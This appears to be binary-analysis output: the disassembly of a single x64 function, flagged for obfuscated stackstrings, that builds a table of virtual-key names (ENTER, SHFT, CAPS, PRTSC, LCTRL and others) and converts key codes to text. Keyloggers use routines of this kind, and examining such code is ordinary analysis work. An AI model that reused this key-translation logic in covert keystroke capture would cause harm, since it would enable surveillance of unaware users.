Function at 0x18009b930
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov rax, qword [0x1801b0058]
xor rax, rsp
mov qword [rbp + 0x630], rax
mov rbx, rcx
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x20], edx
mov ecx, dword [0x1801b3b3c]
mov rax, qword gs:[0x58]
mov r8d, 4
mov rax, qword [rax + rcx*8]
mov eax, dword [r8 + rax]
cmp dword [0x1801b6428], eax
jle 0x18009c228
lea rcx, [0x1801b6428]
call fcn.1800ebf28
cmp dword [0x1801b6428], 0xffffffff
jne 0x18009c224
mov dword [rsp + 0x30], 0
lea r8, [0x180158ae4]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 1
lea r8, [0x180191154]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x78]
call fcn.1800a8ab0
nop
mov dword [rbp - 0x60], 2
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], 2
mov qword [rbp - 0x40], 0xf
mov eax, 0x324d
mov word [rbp - 0x58], ax
mov byte [rbp - 0x56], 0
mov dword [rbp - 0x38], 4
movups xmmword [rbp - 0x30], xmm0
movdqa xmm1, xmmword [0x1801956b0]
movdqa xmmword [rbp - 0x20], xmm1
mov eax, 0x334d
mov word [rbp - 0x30], ax
mov byte [rbp - 0x2e], 0
mov dword [rbp - 0x10], 5
movups xmmword [rbp - 8], xmm0
mov qword [rbp + 8], 2
mov qword [rbp + 0x10], 0xf
mov eax, 0x344d
mov word [rbp - 8], ax
mov byte [rbp - 6], 0
mov dword [rbp + 0x18], 6
movups xmmword [rbp + 0x20], xmm0
movdqa xmmword [rbp + 0x30], xmm1
mov eax, 0x354d
mov word [rbp + 0x20], ax
mov byte [rbp + 0x22], 0
mov dword [rbp + 0x40], 8
movups xmmword [rbp + 0x48], xmm0
mov qword [rbp + 0x58], 4
mov qword [rbp + 0x60], 0xf
mov dword [rbp + 0x48], 0x4b434142
mov byte [rbp + 0x4c], 0
mov dword [rbp + 0x68], 9
movups xmmword [rbp + 0x70], xmm0
movdqa xmm1, xmmword [0x1801956c0]
movdqa xmmword [rbp + 0x80], xmm1
mov eax, dword [0x180191160]
mov word [rbp + 0x70], ax
movzx eax, byte [0x180191162]
mov byte [rbp + 0x72], al
mov byte [rbp + 0x73], 0
mov dword [rbp + 0x90], 0xc
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0xa8], 3
mov qword [rbp + 0xb0], 0xf
mov eax, dword [0x180191164]
mov word [rbp + 0x98], ax
movzx eax, byte [0x180191166]
mov byte [rbp + 0x9a], al
mov byte [rbp + 0x9b], 0
mov dword [rbp + 0xb8], 0xd
movups xmmword [rbp + 0xc0], xmm0
movdqa xmm1, xmmword [0x1801956e0]
movdqa xmmword [rbp + 0xd0], xmm1
mov eax, dword [str.ENTER]
mov dword [rbp + 0xc0], eax
movzx eax, byte [0x18019115c]
mov byte [rbp + 0xc4], al
mov byte [rbp + 0xc5], 0
mov dword [rbp + 0xe0], 0x10
movups xmmword [rbp + 0xe8], xmm0
mov qword [rbp + 0xf8], 4
mov qword [rbp + 0x100], 0xf
mov dword [rbp + 0xe8], 0x54464853
mov byte [rbp + 0xec], 0
mov dword [rbp + 0x108], 0x11
movups xmmword [rbp + 0x110], xmm0
movdqa xmm1, xmmword [0x1801956d0]
movdqa xmmword [rbp + 0x120], xmm1
mov dword [rbp + 0x110], 0x4c525443
mov byte [rbp + 0x114], 0
mov dword [rbp + 0x130], 0x12
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], 3
mov qword [rbp + 0x150], 0xf
mov eax, dword [0x180191170]
mov word [rbp + 0x138], ax
movzx eax, byte [0x180191172]
mov byte [rbp + 0x13a], al
mov byte [rbp + 0x13b], 0
mov dword [rbp + 0x158], 0x13
movups xmmword [rbp + 0x160], xmm0
movdqa xmm1, xmmword [0x1801956e0]
movdqa xmmword [rbp + 0x170], xmm1
mov eax, dword [str.PAUSE]
mov dword [rbp + 0x160], eax
movzx eax, byte [0x18019116c]
mov byte [rbp + 0x164], al
mov byte [rbp + 0x165], 0
mov dword [rbp + 0x180], 0x14
movups xmmword [rbp + 0x188], xmm0
mov qword [rbp + 0x198], 4
mov qword [rbp + 0x1a0], 0xf
mov dword [rbp + 0x188], 0x53504143
mov byte [rbp + 0x18c], 0
mov dword [rbp + 0x1a8], 0x1b
movups xmmword [rbp + 0x1b0], xmm0
movdqa xmm1, xmmword [0x1801956c0]
movdqa xmmword [rbp + 0x1c0], xmm1
mov eax, dword [0x180191178]
mov word [rbp + 0x1b0], ax
movzx eax, byte [0x18019117a]
mov byte [rbp + 0x1b2], al
mov byte [rbp + 0x1b3], 0
mov dword [rbp + 0x1d0], 0x20
movups xmmword [rbp + 0x1d8], xmm0
mov qword [rbp + 0x1e8], 5
mov qword [rbp + 0x1f0], 0xf
mov eax, dword [str.SPACE]
mov dword [rbp + 0x1d8], eax
movzx eax, byte [0x180191180]
mov byte [rbp + 0x1dc], al
mov byte [rbp + 0x1dd], 0
mov dword [rbp + 0x1f8], 0x21
movups xmmword [rbp + 0x200], xmm0
movdqa xmmword [rbp + 0x210], xmm1
mov eax, dword [0x180191174]
mov word [rbp + 0x200], ax
movzx eax, byte [0x180191176]
mov byte [rbp + 0x202], al
mov byte [rbp + 0x203], 0
mov dword [rbp + 0x220], 0x22
movups xmmword [rbp + 0x228], xmm0
mov qword [rbp + 0x238], 4
mov qword [rbp + 0x240], 0xf
mov dword [rbp + 0x228], 0x4e574450
mov byte [rbp + 0x22c], 0
mov dword [rbp + 0x248], 0x23
movups xmmword [rbp + 0x250], xmm0
movdqa xmmword [rbp + 0x260], xmm1
mov eax, dword [0x180191184]
mov word [rbp + 0x250], ax
movzx eax, byte [0x180191186]
mov byte [rbp + 0x252], al
mov byte [rbp + 0x253], 0
mov dword [rbp + 0x270], 0x24
movups xmmword [rbp + 0x278], xmm0
mov qword [rbp + 0x288], 4
mov qword [rbp + 0x290], 0xf
mov dword [rbp + 0x278], 0x454d4f48
mov byte [rbp + 0x27c], 0
mov dword [rbp + 0x298], 0x25
movups xmmword [rbp + 0x2a0], xmm0
movdqa xmm1, xmmword [0x1801956d0]
movdqa xmmword [rbp + 0x2b0], xmm1
mov dword [rbp + 0x2a0], 0x5446454c
mov byte [rbp + 0x2a4], 0
mov dword [rbp + 0x2c0], 0x26
movups xmmword [rbp + 0x2c8], xmm0
mov qword [rbp + 0x2d8], 2
mov qword [rbp + 0x2e0], 0xf
mov eax, 0x5055
mov word [rbp + 0x2c8], ax
mov byte [rbp + 0x2ca], 0
mov dword [rbp + 0x2e8], 0x27
movups xmmword [rbp + 0x2f0], xmm0
movdqa xmm1, xmmword [0x1801956e0]
movdqa xmmword [rbp + 0x300], xmm1
mov eax, dword [str.RIGHT]
mov dword [rbp + 0x2f0], eax
movzx eax, byte [0x180191198]
mov byte [rbp + 0x2f4], al
mov byte [rbp + 0x2f5], 0
mov dword [rbp + 0x310], 0x28
movups xmmword [rbp + 0x318], xmm0
mov qword [rbp + 0x328], 4
mov qword [rbp + 0x330], 0xf
mov dword [rbp + 0x318], 0x4e574f44
mov byte [rbp + 0x31c], 0
mov dword [rbp + 0x338], 0x29
movups xmmword [rbp + 0x340], xmm0
movdqa xmm1, xmmword [0x1801956c0]
movdqa xmmword [rbp + 0x350], xmm1
mov eax, dword [0x180191188]
mov word [rbp + 0x340], ax
movzx eax, byte [0x18019118a]
mov byte [rbp + 0x342], al
mov byte [rbp + 0x343], 0
mov dword [rbp + 0x360], 0x2a
movups xmmword [rbp + 0x368], xmm0
mov qword [rbp + 0x378], 5
mov qword [rbp + 0x380], 0xf
mov eax, dword [str.PRTSC]
mov dword [rbp + 0x368], eax
movzx eax, byte [0x180191190]
mov byte [rbp + 0x36c], al
mov byte [rbp + 0x36d], 0
mov dword [rbp + 0x388], 0x2d
movups xmmword [rbp + 0x390], xmm0
movdqa xmmword [rbp + 0x3a0], xmm1
mov eax, dword [0x1801911a4]
mov word [rbp + 0x390], ax
movzx eax, byte [0x1801911a6]
mov byte [rbp + 0x392], al
mov byte [rbp + 0x393], 0
mov dword [rbp + 0x3b0], 0x2e
movups xmmword [rbp + 0x3b8], xmm0
mov qword [rbp + 0x3c8], 3
mov qword [rbp + 0x3d0], 0xf
mov eax, dword [0x1801911a8]
mov word [rbp + 0x3b8], ax
movzx eax, byte [0x1801911aa]
mov byte [rbp + 0x3ba], al
mov byte [rbp + 0x3bb], 0
mov dword [rsp + 0x30], 0x2f
lea r8, [0x18019119c]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3d8]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0x5f
lea r8, [0x1801911a0]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x400]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0x6a
lea r8, [0x18018f278]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x428]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0x6b
lea r8, [0x18018ba04]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x450]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0x6d
lea r8, [0x18018dea4]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x478]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0x6e
lea r8, [0x18019098c]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x4a0]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0x6f
lea r8, [0x1801911bc]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x4c8]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0x90
lea r8, [0x1801911c0]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x4f0]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0x91
lea r8, str.SCRL
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x518]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0xa0
lea r8, str.LShft
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x540]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0xa1
lea r8, str.RShft
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x568]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0xa2
lea r8, str.LCTRL
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x590]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0xa3
lea r8, str.RCTRL
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x5b8]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0xa4
lea r8, str.LALT
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x5e0]
call fcn.1800a8ab0
nop
mov dword [rsp + 0x30], 0xa5
lea r8, str.RALT
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x608]
call fcn.1800a8ab0
nop
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x630]
mov qword [rsp + 0x38], rax
lea rdx, [rsp + 0x30]
call fcn.1800a6640
nop
lea r9, [0x18009c300]
mov edx, 0x28
lea r8d, [rdx + 4]
lea rcx, [rsp + 0x50]
call fcn.1800eb98c
lea rcx, [0x180128510]
call fcn.1800ebdc4
nop
lea rcx, [0x1801b6428]
call fcn.1800ebebc
mov edx, dword [rsp + 0x20]
lea ecx, [rdx - 0x30]
cmp ecx, 0x2a
ja 0x18009c246
movzx r8d, dl
mov edx, 1
mov rcx, rbx
call fcn.180009f80
jmp 0x18009c2d5
cmp edx, 0x60
jl 0x18009c27d
cmp edx, 0x69
jg 0x18009c27d
add edx, 0xffffffa0
lea rcx, [rsp + 0x30]
call fcn.1800016d0
nop
mov r8, rax
lea rdx, [0x180191254]
mov rcx, rbx
call fcn.18000d0e0
nop
lea rcx, [rsp + 0x30]
call fcn.180009ad0
jmp 0x18009c2d5
cmp edx, 0x70
jl 0x18009c2b7
cmp edx, 0x87
jg 0x18009c2b7
add edx, 0xffffff91
lea rcx, [rsp + 0x30]
call fcn.1800016d0
nop
mov r8, rax
lea rdx, [0x180159728]
mov rcx, rbx
call fcn.18000d0e0
nop
lea rcx, [rsp + 0x30]
call fcn.180009ad0
jmp 0x18009c2d5
lea r8, [rsp + 0x20]
lea rdx, [rsp + 0x30]
call fcn.1800b5100
mov rdx, qword [rax]
add rdx, 0x18
mov rcx, rbx
call fcn.18000a0b0
mov rax, rbx
mov rcx, qword [rbp + 0x630]
xor rcx, rsp
call fcn.1800eb930
mov rbx, qword [rsp + 0x760]
add rsp, 0x740
pop rbp
ret